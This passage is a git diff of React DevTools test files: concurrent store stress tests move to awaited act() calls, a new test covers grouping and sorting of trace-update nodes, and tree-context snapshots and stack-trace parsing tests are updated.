-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -618,9 +620,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -631,7 +633,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -640,9 +642,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -656,9 +658,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -667,9 +669,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -680,7 +682,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -693,9 +695,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -705,9 +707,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -720,9 +722,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -733,7 +735,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -749,7 +751,7 @@ describe('StoreStressConcurrent', () => {
         const suspenseID = store.getElementIDAtIndex(2);
 
         // Force fallback.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         await actAsync(async () => {
           bridge.send('overrideSuspense', {
             id: suspenseID,
@@ -757,7 +759,7 @@ describe('StoreStressConcurrent', () => {
             forceFallback: true,
           });
         });
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
 
         // Stop forcing fallback.
         await actAsync(async () => {
@@ -767,10 +769,10 @@ describe('StoreStressConcurrent', () => {
             forceFallback: false,
           });
         });
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
 
         // Trigger actual fallback.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -783,10 +785,10 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
 
         // Force fallback while we're in fallback mode.
-        act(() => {
+        await act(() => {
           bridge.send('overrideSuspense', {
             id: suspenseID,
             rendererID: store.getRendererIDForElement(suspenseID),
@@ -794,10 +796,10 @@ describe('StoreStressConcurrent', () => {
           });
         });
         // Keep seeing fallback content.
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
 
         // Switch to primary mode.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -807,7 +809,7 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Fallback is still forced though.
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
 
         // Stop forcing fallback. This reverts to primary content.
         await actAsync(async () => {
@@ -818,7 +820,7 @@ describe('StoreStressConcurrent', () => {
           });
         });
         // Now we see primary content.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
 
         // Clean up after every iteration.
         await actAsync(async () => root.unmount());
@@ -857,7 +859,11 @@ describe('StoreStressConcurrent', () => {
     ];
 
     const Never = () => {
-      throw new Promise(() => {});
+      if (React.use) {
+        React.use(new Promise(() => {}));
+      } else {
+        throw new Promise(() => {});
+      }
     };
 
     const MaybeSuspend = ({children, suspend}) => {
@@ -888,7 +894,7 @@ describe('StoreStressConcurrent', () => {
     let container = document.createElement('div');
     for (let i = 0; i < steps.length; i++) {
       const root = ReactDOMClient.createRoot(container);
-      act(() =>
+      await act(() =>
         root.render(
           <Root>
             <X />
@@ -900,8 +906,8 @@ describe('StoreStressConcurrent', () => {
         ),
       );
       // We snapshot each step once so it doesn't regress.
-      snapshots.push(print(store));
-      act(() => root.unmount());
+      snapshots.push(print(store, false, null, false));
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -911,7 +917,7 @@ describe('StoreStressConcurrent', () => {
     const fallbackSnapshots = [];
     for (let i = 0; i < steps.length; i++) {
       const root = ReactDOMClient.createRoot(container);
-      act(() =>
+      await act(() =>
         root.render(
           <Root>
             <X />
@@ -925,8 +931,8 @@ describe('StoreStressConcurrent', () => {
         ),
       );
       // We snapshot each step once so it doesn't regress.
-      fallbackSnapshots.push(print(store));
-      act(() => root.unmount());
+      fallbackSnapshots.push(print(store, false, null, false));
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -1044,7 +1050,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1055,9 +1061,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1069,9 +1075,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1082,9 +1088,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -1095,7 +1101,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1111,9 +1117,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1130,9 +1136,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1148,9 +1154,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -1161,7 +1167,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1172,9 +1178,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1186,9 +1192,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1199,9 +1205,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -1212,7 +1218,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1223,9 +1229,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1237,9 +1243,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1250,9 +1256,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -1263,7 +1269,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1281,7 +1287,7 @@ describe('StoreStressConcurrent', () => {
         const suspenseID = store.getElementIDAtIndex(2);
 
         // Force fallback.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         await actAsync(async () => {
           bridge.send('overrideSuspense', {
             id: suspenseID,
@@ -1289,7 +1295,7 @@ describe('StoreStressConcurrent', () => {
             forceFallback: true,
           });
         });
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
 
         // Stop forcing fallback.
         await actAsync(async () => {
@@ -1299,10 +1305,10 @@ describe('StoreStressConcurrent', () => {
             forceFallback: false,
           });
         });
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
 
         // Trigger actual fallback.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1313,10 +1319,10 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
 
         // Force fallback while we're in fallback mode.
-        act(() => {
+        await act(() => {
           bridge.send('overrideSuspense', {
             id: suspenseID,
             rendererID: store.getRendererIDForElement(suspenseID),
@@ -1324,10 +1330,10 @@ describe('StoreStressConcurrent', () => {
           });
         });
         // Keep seeing fallback content.
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
 
         // Switch to primary mode.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -1339,7 +1345,7 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Fallback is still forced though.
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, false, null, false)).toEqual(fallbackSnapshots[j]);
 
         // Stop forcing fallback. This reverts to primary content.
         await actAsync(async () => {
@@ -1350,10 +1356,10 @@ describe('StoreStressConcurrent', () => {
           });
         });
         // Now we see primary content.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
 
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
diff --git a/packages/react-devtools-shared/src/__tests__/traceUpdates-test.js b/packages/react-devtools-shared/src/__tests__/traceUpdates-test.js
new file mode 100644
index 000000000000..b8aa978a1499
--- /dev/null
+++ b/packages/react-devtools-shared/src/__tests__/traceUpdates-test.js
@@ -0,0 +1,269 @@
+import {groupAndSortNodes} from 'react-devtools-shared/src/backend/views/TraceUpdates/canvas';
+
+describe('Trace updates group and sort nodes', () => {
+  test('should group nodes by position without changing order within group', () => {
+    const nodeToData = new Map([
+      [
+        {id: 1},
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#80b393',
+          displayName: 'Node1',
+          count: 3,
+        },
+      ],
+      [
+        {id: 2},
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#63b19e',
+          displayName: 'Node2',
+          count: 2,
+        },
+      ],
+    ]);
+
+    const result = groupAndSortNodes(nodeToData);
+
+    expect(result).toEqual([
+      [
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#80b393',
+          displayName: 'Node1',
+          count: 3,
+        },
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#63b19e',
+          displayName: 'Node2',
+          count: 2,
+        },
+      ],
+    ]);
+  });
+
+  test('should sort groups by lowest count in each group', () => {
+    const nodeToData = new Map([
+      [
+        {id: 1},
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#97b488',
+          displayName: 'Group1',
+          count: 4,
+        },
+      ],
+      [
+        {id: 2},
+        {
+          rect: {left: 100, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group2',
+          count: 1,
+        },
+      ],
+      [
+        {id: 3},
+        {
+          rect: {left: 200, top: 0, width: 100, height: 100},
+          color: '#63b19e',
+          displayName: 'Group3',
+          count: 2,
+        },
+      ],
+    ]);
+
+    const result = groupAndSortNodes(nodeToData);
+
+    expect(result).toEqual([
+      [
+        {
+          rect: {left: 100, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group2',
+          count: 1,
+        },
+      ],
+      [
+        {
+          rect: {left: 200, top: 0, width: 100, height: 100},
+          color: '#63b19e',
+          displayName: 'Group3',
+          count: 2,
+        },
+      ],
+      [
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#97b488',
+          displayName: 'Group1',
+          count: 4,
+        },
+      ],
+    ]);
+  });
+
+  test('should maintain order within groups while sorting groups by lowest count', () => {
+    const nodeToData = new Map([
+      [
+        {id: 1},
+        {
+          rect: {left: 0, top: 0, width: 50, height: 50},
+          color: '#97b488',
+          displayName: 'Pos1Node1',
+          count: 4,
+        },
+      ],
+      [
+        {id: 2},
+        {
+          rect: {left: 0, top: 0, width: 60, height: 60},
+          color: '#63b19e',
+          displayName: 'Pos1Node2',
+          count: 2,
+        },
+      ],
+      [
+        {id: 3},
+        {
+          rect: {left: 100, top: 0, width: 70, height: 70},
+          color: '#80b393',
+          displayName: 'Pos2Node1',
+          count: 3,
+        },
+      ],
+      [
+        {id: 4},
+        {
+          rect: {left: 100, top: 0, width: 80, height: 80},
+          color: '#37afa9',
+          displayName: 'Pos2Node2',
+          count: 1,
+        },
+      ],
+    ]);
+
+    const result = groupAndSortNodes(nodeToData);
+
+    expect(result).toEqual([
+      [
+        {
+          rect: {left: 100, top: 0, width: 70, height: 70},
+          color: '#80b393',
+          displayName: 'Pos2Node1',
+          count: 3,
+        },
+        {
+          rect: {left: 100, top: 0, width: 80, height: 80},
+          color: '#37afa9',
+          displayName: 'Pos2Node2',
+          count: 1,
+        },
+      ],
+      [
+        {
+          rect: {left: 0, top: 0, width: 50, height: 50},
+          color: '#97b488',
+          displayName: 'Pos1Node1',
+          count: 4,
+        },
+        {
+          rect: {left: 0, top: 0, width: 60, height: 60},
+          color: '#63b19e',
+          displayName: 'Pos1Node2',
+          count: 2,
+        },
+      ],
+    ]);
+  });
+
+  test('should handle multiple groups with same minimum count', () => {
+    const nodeToData = new Map([
+      [
+        {id: 1},
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group1Node1',
+          count: 1,
+        },
+      ],
+      [
+        {id: 2},
+        {
+          rect: {left: 100, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group2Node1',
+          count: 1,
+        },
+      ],
+    ]);
+
+    const result = groupAndSortNodes(nodeToData);
+
+    expect(result).toEqual([
+      [
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group1Node1',
+          count: 1,
+        },
+      ],
+      [
+        {
+          rect: {left: 100, top: 0, width: 100, height: 100},
+          color: '#37afa9',
+          displayName: 'Group2Node1',
+          count: 1,
+        },
+      ],
+    ]);
+  });
+
+  test('should filter out nodes without rect property', () => {
+    const nodeToData = new Map([
+      [
+        {id: 1},
+        {
+          rect: null,
+          color: '#37afa9',
+          displayName: 'NoRectNode',
+          count: 1,
+        },
+      ],
+      [
+        {id: 2},
+        {
+          rect: undefined,
+          color: '#63b19e',
+          displayName: 'UndefinedRectNode',
+          count: 2,
+        },
+      ],
+      [
+        {id: 3},
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#80b393',
+          displayName: 'ValidNode',
+          count: 3,
+        },
+      ],
+    ]);
+
+    const result = groupAndSortNodes(nodeToData);
+
+    expect(result).toEqual([
+      [
+        {
+          rect: {left: 0, top: 0, width: 100, height: 100},
+          color: '#80b393',
+          displayName: 'ValidNode',
+          count: 3,
+        },
+      ],
+    ]);
+  });
+});
diff --git a/packages/react-devtools-shared/src/__tests__/treeContext-test.js b/packages/react-devtools-shared/src/__tests__/treeContext-test.js
index 8bd5a8e17fa0..c48aec8f10ac 100644
--- a/packages/react-devtools-shared/src/__tests__/treeContext-test.js
+++ b/packages/react-devtools-shared/src/__tests__/treeContext-test.js
@@ -1368,6 +1368,9 @@ describe('TreeListContext', () => {
                ▾ <Child>
                  ▾ <Suspense>
                      <Grandchild>
+        [suspense-root]  rects={null}
+          <Suspense name="Parent" uniqueSuspenders={false} rects={null}>
+            <Suspense name="Child" uniqueSuspenders={false} rects={null}>
       `);
 
       const outerSuspenseID = ((store.getElementIDAtIndex(1): any): number);
@@ -1407,6 +1410,9 @@ describe('TreeListContext', () => {
                ▾ <Child>
                  ▾ <Suspense>
                      <Grandchild>
+        [suspense-root]  rects={null}
+          <Suspense name="Parent" uniqueSuspenders={false} rects={null}>
+            <Suspense name="Child" uniqueSuspenders={false} rects={null}>
       `);
     });
   });
@@ -2286,91 +2292,6 @@ describe('TreeListContext', () => {
       `);
     });
 
-    it('should properly handle when components filters are updated', () => {
-      const Wrapper = ({children}) => children;
-
-      withErrorsOrWarningsIgnored(['test-only:'], () =>
-        utils.act(() =>
-          render(
-            <React.Fragment>
-              <Wrapper>
-                <Child logWarning={true} />
-              </Wrapper>
-              <Wrapper>
-                <Wrapper>
-                  <Child logWarning={true} />
-                </Wrapper>
-              </Wrapper>
-            </React.Fragment>,
-          ),
-        ),
-      );
-
-      utils.act(() => TestRenderer.create(<Contexts />));
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-           ▾ <Wrapper>
-               <Child> ⚠
-           ▾ <Wrapper>
-             ▾ <Wrapper>
-                 <Child> ⚠
-      `);
-
-      selectNextErrorOrWarning();
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-           ▾ <Wrapper>
-        →      <Child> ⚠
-           ▾ <Wrapper>
-             ▾ <Wrapper>
-                 <Child> ⚠
-      `);
-
-      utils.act(() => {
-        store.componentFilters = [utils.createDisplayNameFilter('Wrapper')];
-      });
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-        →    <Child> ⚠
-             <Child> ⚠
-      `);
-
-      selectNextErrorOrWarning();
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-             <Child> ⚠
-        →    <Child> ⚠
-      `);
-
-      utils.act(() => {
-        store.componentFilters = [];
-      });
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-           ▾ <Wrapper>
-               <Child> ⚠
-           ▾ <Wrapper>
-             ▾ <Wrapper>
-        →        <Child> ⚠
-      `);
-
-      selectPreviousErrorOrWarning();
-      expect(state).toMatchInlineSnapshot(`
-        ✕ 0, ⚠ 2
-        [root]
-           ▾ <Wrapper>
-        →      <Child> ⚠
-           ▾ <Wrapper>
-             ▾ <Wrapper>
-                 <Child> ⚠
-      `);
-    });
-
     it('should preserve errors for fibers even if they are filtered out of the tree initially', () => {
       const Wrapper = ({children}) => children;
 
@@ -2446,16 +2367,20 @@ describe('TreeListContext', () => {
         jest.runAllTimers();
 
         expect(state).toMatchInlineSnapshot(`
-                  [root]
-                       <Suspense>
-              `);
+          [root]
+               <Suspense>
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
+        `);
 
         selectNextErrorOrWarning();
 
         expect(state).toMatchInlineSnapshot(`
-                  [root]
-                       <Suspense>
-              `);
+          [root]
+               <Suspense>
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
+        `);
       });
 
       it('should properly handle errors/warnings from components that dont mount because of Suspense', async () => {
@@ -2477,9 +2402,11 @@ describe('TreeListContext', () => {
         utils.act(() => TestRenderer.create(<Contexts />));
 
         expect(state).toMatchInlineSnapshot(`
-                  [root]
-                       <Suspense>
-              `);
+          [root]
+               <Suspense>
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
+        `);
 
         await Promise.resolve();
         withErrorsOrWarningsIgnored(['test-only:'], () =>
@@ -2499,6 +2426,8 @@ describe('TreeListContext', () => {
              ▾ <Suspense>
                  <Child> ⚠
                  <Child>
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
         `);
       });
 
@@ -2527,6 +2456,8 @@ describe('TreeListContext', () => {
              ▾ <Suspense>
                ▾ <Fallback>
                    <Child> ✕
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
         `);
 
         await Promise.resolve();
@@ -2541,10 +2472,12 @@ describe('TreeListContext', () => {
         );
 
         expect(state).toMatchInlineSnapshot(`
-                  [root]
-                     ▾ <Suspense>
-                         <Child>
-              `);
+          [root]
+             ▾ <Suspense>
+                 <Child>
+          [suspense-root]  rects={null}
+            <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
+        `);
       });
     });
 
diff --git a/packages/react-devtools-shared/src/__tests__/utils-test.js b/packages/react-devtools-shared/src/__tests__/utils-test.js
index 9e781e072ba7..9b9e82102cce 100644
--- a/packages/react-devtools-shared/src/__tests__/utils-test.js
+++ b/packages/react-devtools-shared/src/__tests__/utils-test.js
@@ -12,20 +12,21 @@ import {
   getDisplayNameForReactElement,
   isPlainObject,
 } from 'react-devtools-shared/src/utils';
-import {stackToComponentSources} from 'react-devtools-shared/src/devtools/utils';
+import {stackToComponentLocations} from 'react-devtools-shared/src/devtools/utils';
 import {
   formatConsoleArguments,
   formatConsoleArgumentsToSingleString,
   formatWithStyles,
   gt,
   gte,
-  parseSourceFromComponentStack,
 } from 'react-devtools-shared/src/backend/utils';
+import {extractLocationFromComponentStack} from 'react-devtools-shared/src/backend/utils/parseStackTrace';
 import {
   REACT_SUSPENSE_LIST_TYPE as SuspenseList,
   REACT_STRICT_MODE_TYPE as StrictMode,
 } from 'shared/ReactSymbols';
 import {createElement} from 'react';
+import {symbolicateSource} from '../symbolicateSource';
 
 describe('utils', () => {
   describe('getDisplayName', () => {
@@ -62,14 +63,17 @@ describe('utils', () => {
 
     it('should parse a component stack trace', () => {
       expect(
-        stackToComponentSources(`
+        stackToComponentLocations(`
     at Foobar (http://localhost:3000/static/js/bundle.js:103:74)
     at a
     at header
     at div
     at App`),
       ).toEqual([
-        ['Foobar', ['http://localhost:3000/static/js/bundle.js', 103, 74]],
+        [
+          'Foobar',
+          ['Foobar', 'http://localhost:3000/static/js/bundle.js', 103, 74],
+        ],
         ['a', null],
         ['header', null],
         ['div', null],
@@ -154,6 +158,12 @@ describe('utils', () => {
         'Symbol(abc) 123',
       );
     });
+
+    it('should gracefully handle objects with no prototype', () => {
+      expect(
+        formatConsoleArgumentsToSingleString('%o', Object.create(null)),
+      ).toEqual('%o [object Object]');
+    });
   });
 
   describe('formatWithStyles', () => {
@@ -296,29 +306,29 @@ describe('utils', () => {
     });
   });
 
-  describe('parseSourceFromComponentStack', () => {
+  describe('extractLocationFromComponentStack', () => {
     it('should return null if passed empty string', () => {
-      expect(parseSourceFromComponentStack('')).toEqual(null);
+      expect(extractLocationFromComponentStack('')).toEqual(null);
     });
 
     it('should construct the source from the first frame if available', () => {
       expect(
-        parseSourceFromComponentStack(
+        extractLocationFromComponentStack(
           'at l (https://react.dev/_next/static/chunks/main-78a3b4c2aa4e4850.js:1:10389)\n' +
             'at f (https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8519)\n' +
             'at r (https://react.dev/_next/static/chunks/pages/_app-dd0b77ea7bd5b246.js:1:498)\n',
         ),
-      ).toEqual({
-        sourceURL:
-          'https://react.dev/_next/static/chunks/main-78a3b4c2aa4e4850.js',
-        line: 1,
-        column: 10389,
-      });
+      ).toEqual([
+        'l',
+        'https://react.dev/_next/static/chunks/main-78a3b4c2aa4e4850.js',
+        1,
+        10389,
+      ]);
     });
 
     it('should construct the source from highest available frame', () => {
       expect(
-        parseSourceFromComponentStack(
+        extractLocationFromComponentStack(
           '    at Q\n' +
             '    at a\n' +
             '    at m (https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js:5:9236)\n' +
@@ -331,57 +341,105 @@ describe('utils', () => {
             '    at tt (https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js:1:165520)\n' +
             '    at f (https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8519)',
         ),
-      ).toEqual({
-        sourceURL:
-          'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',
-        line: 5,
-        column: 9236,
-      });
+      ).toEqual([
+        'm',
+        'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',
+        5,
+        9236,
+      ]);
     });
 
     it('should construct the source from frame, which has only url specified', () => {
       expect(
-        parseSourceFromComponentStack(
+        extractLocationFromComponentStack(
           '    at Q\n' +
             '    at a\n' +
             '    at https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js:5:9236\n',
         ),
-      ).toEqual({
-        sourceURL:
-          'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',
-        line: 5,
-        column: 9236,
-      });
+      ).toEqual([
+        '',
+        'https://react.dev/_next/static/chunks/848-122f91e9565d9ffa.js',
+        5,
+        9236,
+      ]);
     });
 
     it('should parse sourceURL correctly if it includes parentheses', () => {
       expect(
-        parseSourceFromComponentStack(
+        extractLocationFromComponentStack(
           'at HotReload (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/react-dev-overlay/hot-reloader-client.js:307:11)\n' +
             '    at Router (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/app-router.js:181:11)\n' +
             '    at ErrorBoundaryHandler (webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/error-boundary.js:114:9)',
         ),
-      ).toEqual({
-        sourceURL:
-          'webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/react-dev-overlay/hot-reloader-client.js',
-        line: 307,
-        column: 11,
-      });
+      ).toEqual([
+        'HotReload',
